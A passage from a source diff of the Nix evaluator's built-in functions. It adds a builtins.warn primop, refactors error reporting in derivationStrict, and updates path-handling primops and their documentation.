RegisterPrimOp primop_getEnv({ @@ -968,9 +1013,12 @@ static void prim_trace(EvalState & state, const PosIdx pos, Value * * args, Valu { state.forceValue(*args[0], pos); if (args[0]->type() == nString) - printError("trace: %1%", args[0]->string.s); + printError("trace: %1%", args[0]->string_view()); else - printError("trace: %1%", printValue(state, *args[0])); + printError("trace: %1%", ValuePrinter(state, *args[0])); + if (state.settings.builtinsTraceDebugger) { + state.runDebugRepl(nullptr); + } state.forceValue(*args[1], pos); v = *args[1]; } @@ -982,10 +1030,65 @@ static RegisterPrimOp primop_trace({ Evaluate *e1* and print its abstract syntax representation on standard error. Then return *e2*. This function is useful for debugging. + + If the + [`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace) + option is set to `true` and the `--debugger` flag is given, the + interactive debugger will be started when `trace` is called (like + [`break`](@docroot@/language/builtins.md#builtins-break)). )", .fun = prim_trace, }); +static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value & v) +{ + // We only accept a string argument for now. The use case for pretty printing a value is covered by `trace`. + // By rejecting non-strings we allow future versions to add more features without breaking existing code. + auto msgStr = state.forceString(*args[0], pos, "while evaluating the first argument; the message passed to builtins.warn"); + + { + BaseError msg(std::string{msgStr}); + msg.atPos(state.positions[pos]); + auto info = msg.info(); + info.level = lvlWarn; + info.isFromExpr = true; + logWarning(info); + } + + if (state.settings.builtinsAbortOnWarn) { + // Not an EvalError or subclass, which would cause the error to be stored in the eval cache. + state.error("aborting to reveal stack trace of warning, as abort-on-warn is set").setIsFromExpr().debugThrow(); + } + if (state.settings.builtinsTraceDebugger || state.settings.builtinsDebuggerOnWarn) { + state.runDebugRepl(nullptr); + } + state.forceValue(*args[1], pos); + v = *args[1]; +} + +static RegisterPrimOp primop_warn({ + .name = "__warn", + .args = {"e1", "e2"}, + .doc = R"( + Evaluate *e1*, which must be a string and print iton standard error as a warning. + Then return *e2*. + This function is useful for non-critical situations where attention is advisable. + + If the + [`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace) + or [`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) + option is set to `true` and the `--debugger` flag is given, the + interactive debugger will be started when `warn` is called (like + [`break`](@docroot@/language/builtins.md#builtins-break)). + + If the + [`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn) + option is set, the evaluation will be aborted after the warning is printed. + This is useful to reveal the stack trace of the warning, when the context is non-interactive and a debugger can not be launched. + )", + .fun = prim_warn, +}); + /* Takes two arguments and evaluates to the second one. Used as the * builtins.traceVerbose implementation when --trace-verbose is not enabled @@ -1000,6 +1103,11 @@ static void prim_second(EvalState & state, const PosIdx pos, Value * * args, Val * Derivations *************************************************************/ +static void derivationStrictInternal( + EvalState & state, + const std::string & name, + const Bindings * attrs, + Value & v); /* Construct (as a unobservable side effect) a Nix derivation expression that performs the derivation described by the argument @@ -1010,121 +1118,184 @@ static void prim_second(EvalState & state, const PosIdx pos, Value * * args, Val derivation. */ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - using nlohmann::json; - state.forceAttrs(*args[0], pos); + state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.derivationStrict"); + + auto attrs = args[0]->attrs(); /* Figure out the name first (for stack backtraces). */ - Bindings::iterator attr = getAttr( - state, - "derivationStrict", - state.sName, - args[0]->attrs, - pos - ); + auto nameAttr = getAttr(state, state.sName, attrs, "in the attrset passed as argument to builtins.derivationStrict"); std::string drvName; - const auto posDrvName = attr->pos; try { - drvName = state.forceStringNoCtx(*attr->value, pos); + drvName = state.forceStringNoCtx(*nameAttr->value, pos, "while evaluating the `name` attribute passed to builtins.derivationStrict"); } catch (Error & e) { - e.addTrace(state.positions[posDrvName], "while evaluating the derivation attribute 'name'"); + e.addTrace(state.positions[nameAttr->pos], "while evaluating the derivation attribute 'name'"); throw; } + try { + derivationStrictInternal(state, drvName, attrs, v); + } catch (Error & e) { + Pos pos = state.positions[nameAttr->pos]; + /* + * Here we make two abuses of the error system + * + * 1. We print the location as a string to avoid a code snippet being + * printed. While the location of the name attribute is a good hint, the + * exact code there is irrelevant. + * + * 2. We mark this trace as a frame trace, meaning that we stop printing + * less important traces from now on. In particular, this prevents the + * display of the automatic "while calling builtins.derivationStrict" + * trace, which is of little use for the public we target here. + * + * Please keep in mind that error reporting is done on a best-effort + * basis in nix. There is no accurate location for a derivation, as it + * often results from the composition of several functions + * (derivationStrict, derivation, mkDerivation, mkPythonModule, etc.) + */ + e.addTrace(nullptr, HintFmt( + "while evaluating derivation '%s'\n" + " whose name attribute is located at %s", + drvName, pos)); + throw; + } +} + +/** + * Early validation for the derivation name, for better error message. + * It is checked again when constructing store paths. + * + * @todo Check that the `.drv` suffix also fits. + */ +static void checkDerivationName(EvalState & state, std::string_view drvName) +{ + try { + checkName(drvName); + } catch (BadStorePathName & e) { + // "Please pass a different name": Users may not be aware that they can + // pass a different one, in functions like `fetchurl` where the name + // is optional. + // Note that Nixpkgs generally won't trigger this, because `mkDerivation` + // sanitizes the name. + state.error("invalid derivation name: %s. Please pass a different '%s'.", Uncolored(e.message()), "name").debugThrow(); + } +} + +static void derivationStrictInternal( + EvalState & state, + const std::string & drvName, + const Bindings * attrs, + Value & v) +{ + checkDerivationName(state, drvName); + /* Check whether attributes should be passed as a JSON file. */ + using nlohmann::json; std::optional jsonObject; - attr = args[0]->attrs->find(state.sStructuredAttrs); - if (attr != args[0]->attrs->end() && state.forceBool(*attr->value, pos)) + auto pos = v.determinePos(noPos); + auto attr = attrs->find(state.sStructuredAttrs); + if (attr != attrs->end() && + state.forceBool(*attr->value, pos, + "while evaluating the `__structuredAttrs` " + "attribute passed to builtins.derivationStrict")) jsonObject = json::object(); /* Check whether null attributes should be ignored. */ bool ignoreNulls = false; - attr = args[0]->attrs->find(state.sIgnoreNulls); - if (attr != args[0]->attrs->end()) - ignoreNulls = state.forceBool(*attr->value, pos); + attr = attrs->find(state.sIgnoreNulls); + if (attr != attrs->end()) + ignoreNulls = state.forceBool(*attr->value, pos, "while evaluating the `__ignoreNulls` attribute " "passed to builtins.derivationStrict"); /* Build the derivation expression by processing the attributes. */ Derivation drv; drv.name = drvName; - PathSet context; + NixStringContext context; bool contentAddressed = false; bool isImpure = false; std::optional outputHash; - std::string outputHashAlgo; - std::optional ingestionMethod; + std::optional outputHashAlgo; + std::optional ingestionMethod; StringSet outputs; outputs.insert("out"); - for (auto & i : args[0]->attrs->lexicographicOrder(state.symbols)) { + for (auto & i : attrs->lexicographicOrder(state.symbols)) { if (i->name == state.sIgnoreNulls) continue; - const std::string & key = state.symbols[i->name]; + auto key = state.symbols[i->name]; vomit("processing attribute '%1%'", key); auto handleHashMode = [&](const std::string_view s) { - if (s == "recursive") ingestionMethod = FileIngestionMethod::Recursive; - else if (s == "flat") ingestionMethod = FileIngestionMethod::Flat; - else - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("invalid value '%s' for 'outputHashMode' attribute", s), - .errPos = state.positions[posDrvName] - })); + if (s == "recursive") { + // back compat, new name is "nar" + ingestionMethod = ContentAddressMethod::Raw::NixArchive; + } else try { + ingestionMethod = ContentAddressMethod::parse(s); + } catch (UsageError &) { + state.error( + "invalid value '%s' for 'outputHashMode' attribute", s + ).atPos(v).debugThrow(); + } + if (ingestionMethod == ContentAddressMethod::Raw::Text) + experimentalFeatureSettings.require(Xp::DynamicDerivations); + if (ingestionMethod == ContentAddressMethod::Raw::Git) + experimentalFeatureSettings.require(Xp::GitHashing); }; auto handleOutputs = [&](const Strings & ss) { outputs.clear(); for (auto & j : ss) { if (outputs.find(j) != outputs.end()) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("duplicate derivation output '%1%'", j), - .errPos = state.positions[posDrvName] - })); + state.error("duplicate derivation output '%1%'", j) + .atPos(v) + .debugThrow(); /* !!! Check whether j is a valid attribute name. */ - /* Derivations cannot be named ‘drv’, because - then we'd have an attribute ‘drvPath’ in - the resulting set. */ - if (j == "drv") - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("invalid derivation output name 'drv'" ), - .errPos = state.positions[posDrvName] - })); + /* Derivations cannot be named ‘drvPath’, because + we already have an attribute ‘drvPath’ in + the resulting set (see state.sDrvPath). */ + if (j == "drvPath") + state.error("invalid derivation output name 'drvPath'") + .atPos(v) + .debugThrow(); outputs.insert(j); } if (outputs.empty()) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("derivation cannot have an empty set of outputs"), - .errPos = state.positions[posDrvName] - })); + state.error("derivation cannot have an empty set of outputs") + .atPos(v) + .debugThrow(); }; try { + // This try-catch block adds context for most errors. + // Use this empty error context to signify that we defer to it. + const std::string_view context_below(""); if (ignoreNulls) { state.forceValue(*i->value, pos); if (i->value->type() == nNull) continue; } - if (i->name == state.sContentAddressed) { - contentAddressed = state.forceBool(*i->value, pos); - if (contentAddressed) - settings.requireExperimentalFeature(Xp::CaDerivations); + if (i->name == state.sContentAddressed && state.forceBool(*i->value, pos, context_below)) { + contentAddressed = true; + experimentalFeatureSettings.require(Xp::CaDerivations); } - else if (i->name == state.sImpure) { - isImpure = state.forceBool(*i->value, pos); - if (isImpure) - settings.requireExperimentalFeature(Xp::ImpureDerivations); + else if (i->name == state.sImpure && state.forceBool(*i->value, pos, context_below)) { + isImpure = true; + experimentalFeatureSettings.require(Xp::ImpureDerivations); } /* The `args' attribute is special: it supplies the command-line arguments to the builder. */ else if (i->name == state.sArgs) { - state.forceList(*i->value, pos); + state.forceList(*i->value, pos, context_below); for (auto elem : i->value->listItems()) { - auto s = state.coerceToString(posDrvName, *elem, context, true).toOwned(); + auto s = state.coerceToString(pos, *elem, context, + "while evaluating an element of the argument list", + true).toOwned(); drv.args.push_back(s); } } @@ -1137,34 +1308,48 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * if (i->name == state.sStructuredAttrs) continue; - (*jsonObject)[key] = printValueAsJSON(state, true, *i->value, pos, context); + jsonObject->emplace(key, printValueAsJSON(state, true, *i->value, pos, context)); if (i->name == state.sBuilder) - drv.builder = state.forceString(*i->value, context, posDrvName); + drv.builder = state.forceString(*i->value, context, pos, context_below); else if (i->name == state.sSystem) - drv.platform = state.forceStringNoCtx(*i->value, posDrvName); + drv.platform = state.forceStringNoCtx(*i->value, pos, context_below); else if (i->name == state.sOutputHash) - outputHash = state.forceStringNoCtx(*i->value, posDrvName); + outputHash = state.forceStringNoCtx(*i->value, pos, context_below); else if (i->name == state.sOutputHashAlgo) - outputHashAlgo = state.forceStringNoCtx(*i->value, posDrvName); + outputHashAlgo = parseHashAlgoOpt(state.forceStringNoCtx(*i->value, pos, context_below)); else if (i->name == state.sOutputHashMode) - handleHashMode(state.forceStringNoCtx(*i->value, posDrvName)); + handleHashMode(state.forceStringNoCtx(*i->value, pos, context_below)); else if (i->name == state.sOutputs) { /* Require ‘outputs’ to be a list of strings. */ - state.forceList(*i->value, posDrvName); + state.forceList(*i->value, pos, context_below); Strings ss; for (auto elem : i->value->listItems()) - ss.emplace_back(state.forceStringNoCtx(*elem, posDrvName)); + ss.emplace_back(state.forceStringNoCtx(*elem, pos, context_below)); handleOutputs(ss); } + if (i->name == state.sAllowedReferences) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'allowedReferences'; use 'outputChecks..allowedReferences' instead", drvName); + if (i->name == state.sAllowedRequisites) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'allowedRequisites'; use 'outputChecks..allowedRequisites' instead", drvName); + if (i->name == state.sDisallowedReferences) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedReferences'; use 'outputChecks..disallowedReferences' instead", drvName); + if (i->name == state.sDisallowedRequisites) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedRequisites'; use 'outputChecks..disallowedRequisites' instead", drvName); + if (i->name == state.sMaxSize) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'maxSize'; use 'outputChecks..maxSize' instead", drvName); + if (i->name == state.sMaxClosureSize) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'maxClosureSize'; use 'outputChecks..maxClosureSize' instead", drvName); + + } else { - auto s = state.coerceToString(i->pos, *i->value, context, true).toOwned(); + auto s = state.coerceToString(pos, *i->value, context, context_below, true).toOwned(); drv.env.emplace(key, s); if (i->name == state.sBuilder) drv.builder = std::move(s); else if (i->name == state.sSystem) drv.platform = std::move(s); else if (i->name == state.sOutputHash) outputHash = std::move(s); - else if (i->name == state.sOutputHashAlgo) outputHashAlgo = std::move(s); + else if (i->name == state.sOutputHashAlgo) outputHashAlgo = parseHashAlgoOpt(s); else if (i->name == state.sOutputHashMode) handleHashMode(s); else if (i->name == state.sOutputs) handleOutputs(tokenizeString(s)); @@ -1173,9 +1358,8 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * } } catch (Error & e) { - e.addTrace(state.positions[posDrvName], - "while evaluating the attribute '%1%' of the derivation '%2%'", - key, drvName); + e.addTrace(state.positions[i->pos], + HintFmt("while evaluating attribute '%1%' of derivation '%2%'", key, drvName)); throw; } } @@ -1188,56 +1372,55 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * /* Everything in the context of the strings in the derivation attributes should be added as dependencies of the resulting derivation. */ - for (auto & path : context) { - - /* Paths marked with `=' denote that the path of a derivation - is explicitly passed to the builder. Since that allows the - builder to gain access to every path in the dependency - graph of the derivation (including all outputs), all paths - in the graph must be added to this derivation's list of - inputs to ensure that they are available when the builder - runs. */ - if (path.at(0) == '=') { - /* !!! This doesn't work if readOnlyMode is set. */ - StorePathSet refs; - state.store->computeFSClosure(state.store->parseStorePath(std::string_view(path).substr(1)), refs); - for (auto & j : refs) { - drv.inputSrcs.insert(j); - if (j.isDerivation()) - drv.inputDrvs[j] = state.store->readDerivation(j).outputNames(); - } - } - - /* Handle derivation outputs of the form ‘!!’. */ - else if (path.at(0) == '!') { - auto ctx = decodeContext(*state.store, path); - drv.inputDrvs[ctx.first].insert(ctx.second); - } - - /* Otherwise it's a source file. */ - else - drv.inputSrcs.insert(state.store->parseStorePath(path)); + for (auto & c : context) { + std::visit(overloaded { + /* Since this allows the builder to gain access to every + path in the dependency graph of the derivation (including + all outputs), all paths in the graph must be added to + this derivation's list of inputs to ensure that they are + available when the builder runs. */ + [&](const NixStringContextElem::DrvDeep & d) { + /* !!! This doesn't work if readOnlyMode is set. */ + StorePathSet refs; + state.store->computeFSClosure(d.drvPath, refs); + for (auto & j : refs) { + drv.inputSrcs.insert(j); + if (j.isDerivation()) { + drv.inputDrvs.map[j].value = state.store->readDerivation(j).outputNames(); + } + } + }, + [&](const NixStringContextElem::Built & b) { + drv.inputDrvs.ensureSlot(*b.drvPath).value.insert(b.output); + }, + [&](const NixStringContextElem::Opaque & o) { + drv.inputSrcs.insert(o.path); + }, + }, c.raw); } /* Do we have all required attributes? */ if (drv.builder == "") - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("required attribute 'builder' missing"), - .errPos = state.positions[posDrvName] - })); + state.error("required attribute 'builder' missing") + .atPos(v) + .debugThrow(); if (drv.platform == "") - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("required attribute 'system' missing"), - .errPos = state.positions[posDrvName] - })); + state.error("required attribute 'system' missing") + .atPos(v) + .debugThrow(); /* Check whether the derivation name is valid. */ - if (isDerivation(drvName)) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("derivation names are not allowed to end in '%s'", drvExtension), - .errPos = state.positions[posDrvName] - })); + if (isDerivation(drvName) && + !(ingestionMethod == ContentAddressMethod::Raw::Text && + outputs.size() == 1 && + *(outputs.begin()) == "out")) + { + state.error( + "derivation names are allowed to end in '%s' only if they produce a single derivation file", + drvExtension + ).atPos(v).debugThrow(); + } if (outputHash) { /* Handle fixed-output derivations. @@ -1245,34 +1428,32 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * Ignore `__contentAddressed` because fixed output derivations are already content addressed. */ if (outputs.size() != 1 || *(outputs.begin()) != "out") - state.debugThrowLastTrace(Error({ - .msg = hintfmt("multiple outputs are not supported in fixed-output derivations"), - .errPos = state.positions[posDrvName] - })); + state.error( + "multiple outputs are not supported in fixed-output derivations" + ).atPos(v).debugThrow(); - auto h = newHashAllowEmpty(*outputHash, parseHashTypeOpt(outputHashAlgo)); + auto h = newHashAllowEmpty(*outputHash, outputHashAlgo); - auto method = ingestionMethod.value_or(FileIngestionMethod::Flat); - auto outPath = state.store->makeFixedOutputPath(method, h, drvName); - drv.env["out"] = state.store->printStorePath(outPath); - drv.outputs.insert_or_assign("out", - DerivationOutput::CAFixed { - .hash = FixedOutputHash { - .method = method, - .hash = std::move(h), - }, - }); + auto method = ingestionMethod.value_or(ContentAddressMethod::Raw::Flat); + + DerivationOutput::CAFixed dof { + .ca = ContentAddress { + .method = std::move(method), + .hash = std::move(h), + }, + }; + + drv.env["out"] = state.store->printStorePath(dof.path(*state.store, drvName, "out")); + drv.outputs.insert_or_assign("out", std::move(dof)); } else if (contentAddressed || isImpure) { if (contentAddressed && isImpure) - throw EvalError({ - .msg = hintfmt("derivation cannot be both content-addressed and impure"), - .errPos = state.positions[posDrvName] - }); + state.error("derivation cannot be both content-addressed and impure") + .atPos(v).debugThrow(); - auto ht = parseHashTypeOpt(outputHashAlgo).value_or(htSHA256); - auto method = ingestionMethod.value_or(FileIngestionMethod::Recursive); + auto ha = outputHashAlgo.value_or(HashAlgorithm::SHA256); + auto method = ingestionMethod.value_or(ContentAddressMethod::Raw::NixArchive); for (auto & i : outputs) { drv.env[i] = hashPlaceholder(i); @@ -1280,13 +1461,13 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * drv.outputs.insert_or_assign(i, DerivationOutput::Impure { .method = method, - .hashType = ht, + .hashAlgo = ha, }); else drv.outputs.insert_or_assign(i, DerivationOutput::CAFloating { .method = method, - .hashType = ht, + .hashAlgo = ha, }); } } @@ -1310,15 +1491,15 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * for (auto & i : outputs) { auto h = get(hashModulo.hashes, i); if (!h) - throw AssertionError({ - .msg = hintfmt("derivation produced no hash for output '%s'", i), - .errPos = state.positions[posDrvName], - }); + state.error( + "derivation produced no hash for output '%s'", + i + ).atPos(v).debugThrow(); auto outPath = state.store->makeOutputPath(i, *h, drvName); drv.env[i] = state.store->printStorePath(outPath); drv.outputs.insert_or_assign( i, - DerivationOutputInputAddressed { + DerivationOutput::InputAddressed { .path = std::move(outPath), }); } @@ -1326,7 +1507,7 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * ; case DrvHash::Kind::Deferred: for (auto & i : outputs) { - drv.outputs.insert_or_assign(i, DerivationOutputDeferred {}); + drv.outputs.insert_or_assign(i, DerivationOutput::Deferred {}); } } } @@ -1345,14 +1526,17 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * drvHashes.lock()->insert_or_assign(drvPath, h); } - auto attrs = state.buildBindings(1 + drv.outputs.size()); - attrs.alloc(state.sDrvPath).mkString(drvPathS, {"=" + drvPathS}); + auto result = state.buildBindings(1 + drv.outputs.size()); + result.alloc(state.sDrvPath).mkString(drvPathS, { + NixStringContextElem::DrvDeep { .drvPath = drvPath }, + }); for (auto & i : drv.outputs) - mkOutputString(state, attrs, drvPath, drv, i); - v.mkAttrs(attrs); + mkOutputString(state, result, drvPath, i); + + v.mkAttrs(result); } -static RegisterPrimOp primop_derivationStrict(RegisterPrimOp::Info { +static RegisterPrimOp primop_derivationStrict(PrimOp { .name = "derivationStrict", .arity = 1, .fun = prim_derivationStrict, @@ -1367,7 +1551,7 @@ static RegisterPrimOp primop_derivationStrict(RegisterPrimOp::Info { ‘out’. */ static void prim_placeholder(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - v.mkString(hashPlaceholder(state.forceStringNoCtx(*args[0], pos))); + v.mkString(hashPlaceholder(state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.placeholder"))); } static RegisterPrimOp primop_placeholder({ @@ -1390,9 +1574,9 @@ static RegisterPrimOp primop_placeholder({ /* Convert the argument to a path. !!! obsolete? */ static void prim_toPath(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - Path path = state.coerceToPath(pos, *args[0], context); - v.mkString(canonPath(path), context); + NixStringContext context; + auto path = state.coerceToPath(pos, *args[0], context, "while evaluating the first argument passed to builtins.toPath"); + v.mkString(path.path.abs(), context); } static RegisterPrimOp primop_toPath({ @@ -1415,28 +1599,27 @@ static RegisterPrimOp primop_toPath({ corner cases. */ static void prim_storePath(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - if (evalSettings.pureEval) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("'%s' is not allowed in pure evaluation mode", "builtins.storePath"), - .errPos = state.positions[pos] - })); + if (state.settings.pureEval) + state.error( + "'%s' is not allowed in pure evaluation mode", + "builtins.storePath" + ).atPos(pos).debugThrow(); - PathSet context; - Path path = state.checkSourcePath(state.coerceToPath(pos, *args[0], context)); + NixStringContext context; + auto path = state.coerceToPath(pos, *args[0], context, "while evaluating the first argument passed to 'builtins.storePath'").path; /* Resolve symlinks in ‘path’, unless ‘path’ itself is a symlink directly in the store. The latter condition is necessary so e.g. nix-push does the right thing. */ - if (!state.store->isStorePath(path)) path = canonPath(path, true); - if (!state.store->isInStore(path)) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("path '%1%' is not in the Nix store", path), - .errPos = state.positions[pos] - })); - auto path2 = state.store->toStorePath(path).first; + if (!state.store->isStorePath(path.abs())) + path = CanonPath(canonPath(path.abs(), true)); + if (!state.store->isInStore(path.abs())) + state.error("path '%1%' is not in the Nix store", path) + .atPos(pos).debugThrow(); + auto path2 = state.store->toStorePath(path.abs()).first; if (!settings.readOnlyMode) state.store->ensurePath(path2); - context.insert(state.store->printStorePath(path2)); - v.mkString(path, context); + context.insert(NixStringContextElem::Opaque { .path = path2 }); + v.mkString(path.abs(), context); } static RegisterPrimOp primop_storePath({ @@ -1452,26 +1635,31 @@ static RegisterPrimOp primop_storePath({ causes the path to be *copied* again to the Nix store, resulting in a new path (e.g. `/nix/store/ld01dnzc…-source-source`). - This function is not available in pure evaluation mode. + Not available in [pure evaluation mode](@docroot@/command-ref/conf-file.md#conf-pure-eval). + + See also [`builtins.fetchClosure`](#builtins-fetchClosure). )", .fun = prim_storePath, }); static void prim_pathExists(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - /* We don’t check the path right now, because we don’t want to - throw if the path isn’t allowed, but just return false (and we - can’t just catch the exception here because we still want to - throw if something in the evaluation of `*args[0]` tries to - access an unauthorized path). */ - auto path = realisePath(state, pos, *args[0], { .checkForPureEval = false }); - try { - v.mkBool(pathExists(state.checkSourcePath(path))); - } catch (SysError & e) { - /* Don't give away info from errors while canonicalising - ‘path’ in restricted mode. */ - v.mkBool(false); + auto & arg = *args[0]; + + /* SourcePath doesn't know about trailing slash. */ + state.forceValue(arg, pos); + auto mustBeDir = arg.type() == nString + && (arg.string_view().ends_with("/") + || arg.string_view().ends_with("/.")); + + auto symlinkResolution = + mustBeDir ? SymlinkResolution::Full : SymlinkResolution::Ancestors; + auto path = realisePath(state, pos, arg, symlinkResolution); + + auto st = path.maybeLstat(); + auto exists = st && (!mustBeDir || st->type == SourceAccessor::tDirectory); + v.mkBool(exists); } catch (RestrictedPathError & e) { v.mkBool(false); } @@ -1487,21 +1675,50 @@ static RegisterPrimOp primop_pathExists({ .fun = prim_pathExists, }); +// Ideally, all trailing slashes should have been removed, but it's been like this for +// almost a decade as of writing. Changing it will affect reproducibility. +static std::string_view legacyBaseNameOf(std::string_view path) +{ + if (path.empty()) + return ""; + + auto last = path.size() - 1; + if (path[last] == '/' && last > 0) + last -= 1; + + auto pos = path.rfind('/', last); + if (pos == path.npos) + pos = 0; + else + pos += 1; + + return path.substr(pos, last - pos + 1); +} + /* Return the base name of the given string, i.e., everything following the last slash. */ static void prim_baseNameOf(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - v.mkString(baseNameOf(*state.coerceToString(pos, *args[0], context, false, false)), context); + NixStringContext context; + v.mkString(legacyBaseNameOf(*state.coerceToString(pos, *args[0], context, + "while evaluating the first argument passed to builtins.baseNameOf", + false, false)), context); } static RegisterPrimOp primop_baseNameOf({ .name = "baseNameOf", - .args = {"s"}, + .args = {"x"}, .doc = R"( - Return the *base name* of the string *s*, that is, everything - following the final slash in the string. This is similar to the GNU - `basename` command. + Return the *base name* of either a [path value](@docroot@/language/types.md#type-path) *x* or a string *x*, depending on which type is passed, and according to the following rules. + + For a path value, the *base name* is considered to be the part of the path after the last directory separator, including any file extensions. + This is the simple case, as path values don't have trailing slashes. + + When the argument is a string, a more involved logic applies. If the string ends with a `/`, only this one final slash is removed. + + After this, the *base name* is returned as previously described, assuming `/` as the directory separator. (Note that evaluation must be platform independent.) + + This is somewhat similar to the [GNU `basename`](https://www.gnu.org/software/coreutils/manual/html_node/basename-invocation.html) command, but GNU `basename` will strip any number of trailing slashes. )", .fun = prim_baseNameOf, }); @@ -1511,10 +1728,18 @@ static RegisterPrimOp primop_baseNameOf({ of the argument. */ static void prim_dirOf(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - auto path = state.coerceToString(pos, *args[0], context, false, false); - auto dir = dirOf(*path); - if (args[0]->type() == nPath) v.mkPath(dir); else v.mkString(dir, context); + state.forceValue(*args[0], pos); + if (args[0]->type() == nPath) { + auto path = args[0]->path(); + v.mkPath(path.path.isRoot() ? path : path.parent()); + } else { + NixStringContext context; + auto path = state.coerceToString(pos, *args[0], context, + "while evaluating the first argument passed to 'builtins.dirOf'", + false, false); + auto dir = dirOf(*path); + v.mkString(dir, context); + } } static RegisterPrimOp primop_dirOf({ @@ -1532,13 +1757,16 @@ static RegisterPrimOp primop_dirOf({ static void prim_readFile(EvalState & state, const PosIdx pos, Value * * args, Value & v) { auto path = realisePath(state, pos, *args[0]); - auto s = readFile(path); + auto s = path.readFile(); if (s.find((char) 0) != std::string::npos) - state.debugThrowLastTrace(Error("the contents of the file '%1%' cannot be represented as a Nix string", path)); + state.error( + "the contents of the file '%1%' cannot be represented as a Nix string", + path + ).atPos(pos).debugThrow(); StorePathSet refs; - if (state.store->isInStore(path)) { + if (state.store->isInStore(path.path.abs())) { try { - refs = state.store->queryPathInfo(state.store->toStorePath(path).first)->references; + refs = state.store->queryPathInfo(state.store->toStorePath(path.path.abs()).first)->references; } catch (Error &) { // FIXME: should be InvalidPathError } // Re-scan references to filter down to just the ones that actually occur in the file. @@ -1546,7 +1774,12 @@ static void prim_readFile(EvalState & state, const PosIdx pos, Value * * args, V refsSink << s; refs = refsSink.getResultPaths(); } - auto context = state.store->printStorePathSet(refs); + NixStringContext context; + for (auto && p : std::move(refs)) { + context.insert(NixStringContextElem::Opaque { + .path = std::move((StorePath &&)p), + }); + } v.mkString(s, context); } @@ -1563,67 +1796,192 @@ static RegisterPrimOp primop_readFile({ which are desugared to 'findFile __nixPath "x"'. */ static void prim_findFile(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceList(*args[0], pos); + state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.findFile"); - SearchPath searchPath; + LookupPath lookupPath; for (auto v2 : args[0]->listItems()) { - state.forceAttrs(*v2, pos); + state.forceAttrs(*v2, pos, "while evaluating an element of the list passed to builtins.findFile"); std::string prefix; - Bindings::iterator i = v2->attrs->find(state.sPrefix); - if (i != v2->attrs->end()) - prefix = state.forceStringNoCtx(*i->value, pos); + auto i = v2->attrs()->find(state.sPrefix); + if (i != v2->attrs()->end()) + prefix = state.forceStringNoCtx(*i->value, pos, "while evaluating the `prefix` attribute of an element of the list passed to builtins.findFile"); - i = getAttr( - state, - "findFile", - state.sPath, - v2->attrs, - pos - ); + i = getAttr(state, state.sPath, v2->attrs(), "in an element of the __nixPath"); - PathSet context; - auto path = state.coerceToString(pos, *i->value, context, false, false).toOwned(); + NixStringContext context; + auto path = state.coerceToString(pos, *i->value, context, + "while evaluating the `path` attribute of an element of the list passed to builtins.findFile", + false, false).toOwned(); try { auto rewrites = state.realiseContext(context); path = rewriteStrings(path, rewrites); } catch (InvalidPathError & e) { - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("cannot find '%1%', since path '%2%' is not valid", path, e.path), - .errPos = state.positions[pos] - })); + state.error( + "cannot find '%1%', since path '%2%' is not valid", + path, + e.path + ).atPos(pos).debugThrow(); } - searchPath.emplace_back(prefix, path); + lookupPath.elements.emplace_back(LookupPath::Elem { + .prefix = LookupPath::Prefix { .s = prefix }, + .path = LookupPath::Path { .s = path }, + }); } - auto path = state.forceStringNoCtx(*args[1], pos); + auto path = state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument passed to builtins.findFile"); - v.mkPath(state.checkSourcePath(state.findFile(searchPath, path, pos))); + v.mkPath(state.findFile(lookupPath, path, pos)); } -static RegisterPrimOp primop_findFile(RegisterPrimOp::Info { +static RegisterPrimOp primop_findFile(PrimOp { .name = "__findFile", - .arity = 2, + .args = {"search-path", "lookup-path"}, + .doc = R"( + Find *lookup-path* in *search-path*. + + [Lookup path](@docroot@/language/constructs/lookup-path.md) expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.nixPath`](#builtins-nixPath): + + ```nix + + ``` + + is equivalent to: + + ```nix + builtins.findFile builtins.nixPath "nixpkgs" + ``` + + A search path is represented as a list of [attribute sets](./types.md#attribute-set) with two attributes: + - `prefix` is a relative path. + - `path` denotes a file system location + + 